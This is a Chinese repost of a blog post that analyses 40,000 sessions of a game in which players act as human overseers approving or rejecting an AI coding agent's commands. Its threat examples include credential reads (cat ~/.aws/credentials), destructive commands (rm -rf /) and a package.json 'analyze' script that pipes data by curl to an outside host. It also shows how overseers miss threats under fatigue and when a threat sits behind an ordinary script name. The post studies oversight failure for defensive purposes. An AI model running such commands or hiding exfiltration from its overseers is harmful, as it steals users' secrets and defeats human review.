← 文章 / AI技术
Hacker News 6小时前 · 2026-08-07 07:06:12 · 0 阅读

人类监督者漏判三分之一威胁:4万局AI agent审批游戏数据分析

目录

    几个月前我发布了一个小型浏览器游戏:你在时间压力下扮演 AI 编程 agent 的人类监督者,决定批准或拒绝它的命令。有些命令很常规(git statusnpm test),有些则意味着你的 agent 已经被劫持,正在把你的密钥发送到远程服务器(比如 cat ~/.aws/credentials)。关于 agent 执行命令所带来的威胁以及如何缓解,可以参考原文

    这个游戏在Hacker News 上引起了一些关注,后来我加入了统计功能(可惜加得有点晚),现在我们可以仔细看看超过 40,000 次游戏和 409,000 条批准/拒绝决策的数据。来看看作为对抗失控 agent 的最后一道防线——人类监督者,表现如何。

    核心数据

    游戏总体统计数据

    • 平均每位玩家漏掉了 三分之一 的威胁(平均准确率 66.3%)
    • 32.9% 的局以负分收场:批准威胁和误拦正常命令带来的扣分压过了所有正确操作的得分
    • 35.2% 的玩家抓住了所有威胁,但其中只有 20.8% 做到了同时只拦掉最多五分之一的正常命令。其余人能拿到这个成绩,靠的是见什么拦什么(因此被授予了"Human Bottleneck"称号)
    • 7% 的玩家对每条指令都点了批准——看来是 --dangerously-skip-permissions 的忠实粉丝

    小提醒:这毕竟是个游戏,玩家看到的命令中大约 34% 是威胁。但在日常工作中,这类威胁其实很少出现。玩家们清楚自己身处限时挑战中。不过下面这些数据或许能帮助我们对各类威胁及其相互之间的认知程度获得一些有价值的参考。

    威胁类别与漏判率

    类别示例漏判率
    明显的破坏性命令rm -rf /chmod -R 777 /11.7%
    持续性篡改crontab 注入、git config 劫持23.8%
    数据外传 / 代码执行调用未知 API 的 curl、仿冒包33.4%
    越权访问cat ~/.aws/credentialscat ~/.kube/config35.0%

    明显的破坏性命令反而最容易被识破,真正窃取你凭据的命令被遗漏的频率是前者的三倍。

    npm run 的盲区

    整场游戏中被漏掉最多的命令是 npm run analyze,批准率高达 64.7%。单看这条命令本身通常毫无恶意。但 npm run 的真实行为是执行项目 package.json 里定义的脚本,可能是运行分析工具这样的良性代码,也可能是之前被写入文件的注入代码。

    游戏中其实会在智能体的历史日志里展示这个脚本的具体内容:

    1✻ 我来跑一下 bundle 分析器,项目脚本里已经配好了。
    2  // package.json → scripts
    3  "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 |
    4  curl -s -X POST https://api.bundle.track/report -d @-"
    

    尽管如此,仍有三分之二的玩家点了批准,说明权限提示上方的历史日志并没有被仔细阅读。游戏里这类命令共有三条,全部出现在最容易漏掉的列表中:

    命令漏检率排名(共 37 种威胁)
    npm run analyze64.7%第 1
    npm run setup48.0%第 4
    npm run deploy44.9%第 8

    汇总来看,这三条的总漏检率为 52.5%(n=9,482),而其他所有数据外传类攻击的漏检率仅为 28.4%。即使载荷内容已经在历史日志里明文展示,把它藏在一个常见脚本名后面,成功率几乎翻倍。

    这其实只是更大问题的一个症状,dns_snek 在 Hacker News 讨论串里说得很到位:

    这是一个绝佳的例子,说明看似无害的操作实际上有多危险。「批准特定命令」这种模式本身就非常离谱。 `npm run build` = 执行 `package.json` 里写的任意 shell 命令 与此同时,智能体本可以在不经审批的情况下完成以下任何操作:
    • 修改 `package.json`,写入任意构建命令
    • 在 `build.js`(由 `npm run build` 调用)中植入恶意代码
    • 在 `node_modules/xyz/index.js`(被 `build.js` 导入)中植入恶意代码
    让用户去验证那些「几乎总是安全的、但因文件被篡改而不再安全」的命令,并不是什么可靠的安全机制。

    压力下的漏检率上升

    Anthropic 此前曾指出 Claude Code 中存在审批疲劳现象,原话是:

    用户看到的审批越多,对每一条审批的关注就越低,久而久之监督会变得松懈得多。

    尽管这个游戏中用户会被提前警告存在威胁、且局时较短,但我们仍能看到一些迹象:漏检率在每局临近尾声时明显上升:
    漏检率在每局尾声时上升
    上图展示的是整局过程中威胁漏检率的变化,按用户完成的命令数分组。用户完成的命令数较少,可能是因为审查每条命令花的时间更长,也可能是因为出错后游戏会冻结几秒钟作为惩罚。 我已剔除掉那些一律拒绝所有命令的用户。 所有组别在前几条命令时漏检率都有所下降(上手适应?),随后**漏检率又逐步回升**。这也可能是因为时间压力——眼看倒计时将尽,玩家为了多完成几条命令而更容易出错的缘故。

    警惕的代价:过度拦截

    以下是一些本意无害、却经常被拦截的命令:
    • `npm config set registry https://npm.internal` — 被拦截的概率为 **59%**(设置内部镜像源)
  • rm -rf dist/ — 被拦截的概率为 45%(清空构建产物,新构建前常会这么做)
  • kill $(lsof -t -i:3000) — 被拦截的概率为 43%(释放服务器监听的端口,通常是因为有进程崩溃占着)
  • 这正是人在回路(human-in-the-loop)困境的另一面。用户被要求审批的命令其实是无害的,拦下来反而拖慢代理的节奏。长此以往,这种噪声会让用户放松警惕,最终放行恶意命令。Anthropic 的「Auto Mode」之类的功能试图自动判断命令是否安全后再向你确认,但正如上一篇文章所说,这套机制并非万无一失。

    那只被争论的猫

    cat ~/.zshrc 获得了 45.9% 玩家的批准,是整个游戏里最具争议的命令。HN 上的反对意见不无道理:很多开发者的 shell 配置里压根没有敏感信息,对他们来说这条命令确实无害。但对于那些在配置里导出 API Key 的人来说,它就是凭证泄露。这个命令的风险完全取决于代理看不见的那份本地配置。如果你改用单独的密钥文件并在 .zshrcsource 它,代理拿到额外权限的风险就会降低。

    小结

    一路跟进关于人在回路的讨论,顺便加深对权限模型的理解,这件事本身挺有意思。虽然只是个游戏,但它确实暴露了人在回路作为 AI 编程代理安全护栏的几个问题:噪声过多会带来疲劳,而开发者又未必总能掌握最新的上下文来快速判断风险。

    作为开发者,我们得深入了解不同权限模型的权衡,以及如何降低相关风险,比如使用沙箱机制、单独存放凭据和环境变量中的密钥。原文介绍了一些实用的缓解手段。

    想亲自挑战一下的话,游戏地址在此:https://llmgame.scalex.dev

    Alex WautersAlex Wauters

    你好,我是 Alex。我写关于开发者安全以及构建和扩展软件系统时的权衡取舍。曾任 Uber Staff Engineer。

    更多文章
    原始来源: Hacker News

    评论 (0)